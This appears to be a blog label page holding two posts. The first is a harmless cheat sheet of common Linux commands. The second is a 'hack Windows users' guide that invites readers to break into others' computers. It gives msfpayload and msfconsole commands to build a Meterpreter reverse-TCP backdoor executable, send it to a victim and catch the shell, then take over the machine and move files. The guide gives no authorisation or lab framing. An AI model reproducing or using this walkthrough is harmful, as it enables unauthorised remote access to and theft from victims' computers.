Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts
Friday, May 19, 2017
Most useful and frequently used LINUX UNIX commands with examples
Most useful and frequently used LINUX UNIX commands with examples
Most useful and frequently used LINUX/UNIX commands with examples
Hi Geeks, This article will provide the most useful ad frequently used LINUX / UNIX commands along-with the example.
If I miss any command then dont forget to write them in comment.
- grep command: Searches for given string in files
- grep -i "search_text" file_name
- grep -ilrn "search_text" * (To search in all files)Attributes: i for ignore case, l for list names of files, r for searching recursively, n for line number where text is matched in the file
- find command: Finds files using file-name
- find -iname "MyTextFile.c"
- find -iname "MyTextFile.c" -exec md5sum {} ; :Executes commands on files found by the find command
- find ~ -empty :Finds all empty files in home directory
- pwd command: pwd is Present working directory. It prints the current directory.
- cd command: It is used to change the directory.
- Use cd - to toggle between the last two directories
- Use shopt -s cdspell to automatically correct mistype directory names on cd
- diff command: compares two files
- diff -w file1.txt file2.txt
- tar command examples:
- tar cvf archive_name.tar dirname/ :Creates a new tar archive
- tar xvf archive_name.tar : Extracts from existing tar archive
- tar tvf archive_name.tar : view an existing tar archive
- gzip command examples
- gzip file.txt : creates a *.gz compressed file
- gzip -d file.txt.gz : Uncompress a *.gz file
- gzip -l *.gz : Displays the compression ratio of the compressed file
- bzip2 command examples
- bzip2 file.txt : creates a *.bz2 compressed file
- bzip2 -d file.txt.bz2 : uncompresses a *.bz2 file
- unzip command examples
- unzip test.zip : Extracts the zipped file
- unzip -l test.zip : views the content of zipped file without unzipping
- ssh commands: It is used to work remotely
- ssh -l kamal remotehost.com : Login to remote gostssh -l kamal 10.201.42.12
- ssh -v -l kamal remotehost.com : Debug ssh client
- ssh -V : Display ssh client version
- ftp command examples
- ftp IP/hostname : connects to a remote server
- ftp> mget *.html : Download file from that server
- ftp> mls *.html - : views the file names located on the remote server
- wget command :
- wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz: to download any file from internet
- wget -O taglist.zip http://www.vim.org/scripts/download_script.php?src_id=7701 : Download and store it
- vim command examples
- vim +14 file.txt : Go to the 14th line of file
- vim +/search_text file.txt : goto the first match of the specified search text
- vim -R /etc/passwd : Opent he file in the read only mode
- sort command examples
- sort nameList.txt : Sorts a file in ascending order
- sort -r nameList.txt : Sorts a file in descending order
- sort -t: -k 3n /etc/passwd | more : Sorts passwd file by third field
- xargs command examples
- ls *.jpg | xargs -n1 -i cp {} /external-drive/directory : Copy all images to external drive
- find / -name *.jpg -type f -print | xargs tar -cvzf allImages.tar.gz : Search all jpg images in the system and archive it.
- cat url-list.txt | xargs wget c : Downloads all the URLs mentioned in the url-list.txt file
- ls command examples
- ls -lh : Displays filesize in KB / MB
- ls -ltr : Orders Files Based on Last Modified Time
- ls -F : Visual Classification of Files
- sed command examples
- sed s/.$// filename :Converts the DOS file format to Unix file format (removes or )
- sed -n 1!G;h;$p file.txt : Prints file content in reverse order
- sed /./= file.txt | sed N; s/ / / : Adds line number for all non-empty-lines in the file
- awk command examples
- awk !($0 in array) { array[$0]; print } temp : Removes duplicate lines
- awk -F : $3==$4 passwd.txt ; Prints all lines from /etc/passwd that has the same uid and gid
- awk {print $2,$5;} file.txt : Prints only specific field from a file.
- shutdown command examples
- shutdown -h now : Shutdown the system and turn the power off immediately.
- shutdown -h +10 : Shutdown the system after 10 minutes.
- shutdown -r now : Reboot the system
- shutdown -Fr now : Force the filesystem check during reboot.
- crontab command examples
- crontab -u kamal -l : View crontab entry for a specific user
- service command examples : Service commands are used to run the system V init scripts. i.e Instead of calling the scripts located in the /etc/init.d/ directory with their full path, we can use the service command.
- service ssh status : checks the service status
- service --status-all : Check the status of all the services.
- service ssh restart : Restart a service
- ps command : It is used to display information about the processes running in the system.
- ps -ef | more : view the current running processes
- ps -efH | more : To view current running processes in a tree structure. H means process hierarchy.
- free command: It is used to display the free, used, swap memory available in the system.
- free
- free -g : If you want to quickly check how many GB of RAM your system has use the -g option. -b option displays in bytes, -k in kilo bytes, -m in mega bytes.
- free -t : use this if you want to see a total memory ( including the swap)
- top command: It displays the top processes in the system, by default sorted by cpu usage. To sort top output by any column, press O (upper-case O) , which will display all the possible columns that you can sort by.
- top
- top -u oracle : To display only the processes that belong to a particular user use -u option. This command will show only the top processes that belongs to oracle user.
- df command:
- df -k : displays the file system disk space usage. By default df -k displays output in bytes.
- df -h : displays output in human readable form. i.e size will be displayed in GBs.
- df -T : display type of file system.
- kill command: It is used to terminate a process. First get the process id using ps -efcommand, then use kill -9 to kill the running LINUX process. You can also use killall, pkill, xkill to terminate a unix process.
- ps -ef | grep vimkill -9 7243
- rm command : Removes a file
- rm -i filename.txt : Get confirmation before removing the file.
- rm -i file* : Print the filename and get confirmation before removing the file.
- rm -r example : It recursively removes all files and directories under the example directory. This also removes the example directory itself.
- cp command : Used for copying files from source to destination
- cp -p file1 file2 : Copy file1 to file2 preserving the mode, ownership and timestamp.
- cp -i file1 file2 : Copy file1 to file2. if file2 exists prompt for confirmation before overwritting it.
- mv command: used to rename a file / folder
- mv -i file1 file2 : Rename file1 to file2. if file2 exists prompt for confirmation before overwritting it.
- mv -f file1 file2 : Rename file1 to file2. if file2 exists overwrite it without prompting for confirmation
- mv -v file1 file2 : It will print what is happening during file rename, verbose output
- cat command : used to view the file
- cat file1
- cat file1 file2 : view multiple files at the same time. It prints the content of file1 followed by file2 to stdout.
- cat -n /etc/test.txt : It will prepend the line number to each line of the output while displaying the file.
- mount command
- To mount a file system, we should first create a directory and mount it:
- mkdir /newDir
- mount /dev/sdb1 /newDir
- We can also add this to the fstab for automatic mounting. i.e Anytime system is restarted, the filesystem will be mounted.
- /dev/sdb1 /newDir ext2 defaults 0 2
- chmod command: chmod command is used to change the permissions for a file or directory.
- chmod ug+rwx file.txt ; Give full access (read, write and execute) to user and group on a specific file.
- chmod g-rwx file.txt : Revoke all access (read, write and execute) for the group on a specific file.
- chmod -R ug+rwx file.txt : Apply the file permissions to all the files in the sub-directories.
- chown command: change the owner and group of a file
- chown oracle:dba dbora.sh : To change owner to oracle and group to db on a file. i.e Change both owner and group at the same time.
- chown -R oracle:dba /home/oracle : change the owner recursively
- passwd command : used to change the password through command line
- passwd : User can change their password using this command. It will ask for current password.
- passwd USERNAME : Super user can use passwd command to reset others password. This will not prompt for current password of the user.
- passwd -d USERNAME : Remove password for a specific user. Root user can disable password for a specific user. Once the password is disabled, the user can login without entering the password.
- uname command: It displays important information about the system such as Kernel name, Host name, Kernel release number, Processor type, etc.
- uname -a
- su command
- su - USERNAME : Switch to a different user account using su command. Super user can switch to any other user without entering their password.
- su - raj -c ls : Execute a single command from a different account name. In the following example, john can execute the ls command as raj username. Once the command is executed, it will come back to johns account.
- su -s SHELLNAME USERNAME : Login to a specified user account, and execute the specified shell instead of the default shell.
- mkdir command: to create directories
- mkdir ~/myDir : creates a directory called myDir under home directory.
- mkdir -p dir1/dir2/dir3/dir4/ : It creates nested directories using. If any of these directories exist already, it will not display any error. If any of these directories doesnt exist, it will create them.
- ifconfig command: used to view or configure a network interface on the Linux system, same as ipconfig in windows.
- ifconfig -a : View all the interfaces along with status.
- Start or stop a specific interface using up and down command as below.
- ifconfig eth0 up
- ifconfig eth0 down
- ping command :
- ping google.com : Ping a remote host.
- ping -c 5 google.com : Ping a remote host by sending only 5 packets.
- whereis command
- whereis ls : &nb
Go to link download
Thursday, March 16, 2017
Hack Windows Users with LINUX 2016 GUIDE
Hack Windows Users with LINUX 2016 GUIDE

Hacking Windows Users with Metasploit
Hi, welcome to IBJTech. Do you ever wanted to hack others computer in your life? If yes, well im here to help you. In this guide we are going to hack any Windows users by using Metasploit frameworks. Before we proceed, please read and understand these first.
Metasploit
A computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Exploit
An exploit is the means by which an attacker, or pentester for that matter, takes advantage of a flaw within a system, an application, or a service. An attacker uses an exploit to attack a system in a way that results in a particular desired outcome that the developer never intended. Common exploits include buffer overflows, web application vulnerabilities (such as SQL injection), and configuration errors.
Payload
A payload is code that we want the system to execute and that is to be selected and delivered by the Framework. For example, a reverse shell is a payload that creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that binds a command prompt to a listening port on the target machine, which the attacker can then connect. A payload could also be something as simple as a few commands to be executed on the target operating system.
Meterpreter
An advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.
Requirements
- Pentesting Operating System (I recommend Kali Linux)
- Metasploit Framework (Already installed in most Security OS)
- Basic knowledge
- Open up your Terminal and type in this command
root@kali:~#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=88 X>backdoor.exe
- Once the process completed, send the backdoor to your target.
The command will set the Payload for our backdoor as reverse tcp for Windows. The LHOST and LPORT is the Ip address and port you want the victim to connect to. Change the LHOST to your IP address in LAN(Local Area Network) and not public/external IP address. You can lookup your IP by typing into Terminal ifconfig. If you want to target people on WAN(Wide Area Network) /Internet you need to port foward first and then you can use your Public/external IP Address. Not to forget, the LPORT number is up to you what number you want to put as long as the port is not in use by other service.Prepare to Attack
- Once again, open another terminal and type these commands
root@kali:~#service postgresql start
root@kali:~#service metasploit start
- Or you can directly start the service by go to Application>Kali Linux>System Services>Metasploits>Start
- After the initialization process completed, type msfconsole in the terminal. This will takes a moment.
- Type in these command
msf > use exploit/multi/handlerExplanation
msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit (handler) > set LHOST your_ip_here
msf exploit (handler) > set LPORT your_port_here
msf exploit (handler) > exploit
As you can see the service postgresql start and service metasploit start is to start the service. The command use exploit/multi/handler and set PAYLOAD windows/meterpreter/reverse_tcp means that we are going to use metasploit handler and the same exploit that we used to make our backdoor earlier. If you type show options, you will see the LHOST and LPORT are not set up correctly. Thats why we need to set the LHOST and LPORT again with the IP address and port that we use previously for our backdoor. Exploit? I hope you know what that command doesAttacking
- Lets say we have hit a target, so you will see this coming out from your terminal
[*] Started reverse handler on 162.198.37.130:86
[*] Starting the payload handler
[*] Sending stage (769024 bytes) to 162.198.37.134
[*] Meterpreter session 1 opened (162.198.37.130:86 -> 162.198.37.134:49280 at 2015-07-18
meterpreter>
- Once it says meterpreter session opened, you now can do anything as you like. For example see the Victim system info. Simply type in sysinfo in the terminal.
- You also can download and upload files from/to Victim PC
- For more commands, type in help and you will see bunch of commands
Screenshots





Download Video
Tutorial Video (74.6MB) / Mirror
Go to link download
Subscribe to:
Posts (Atom)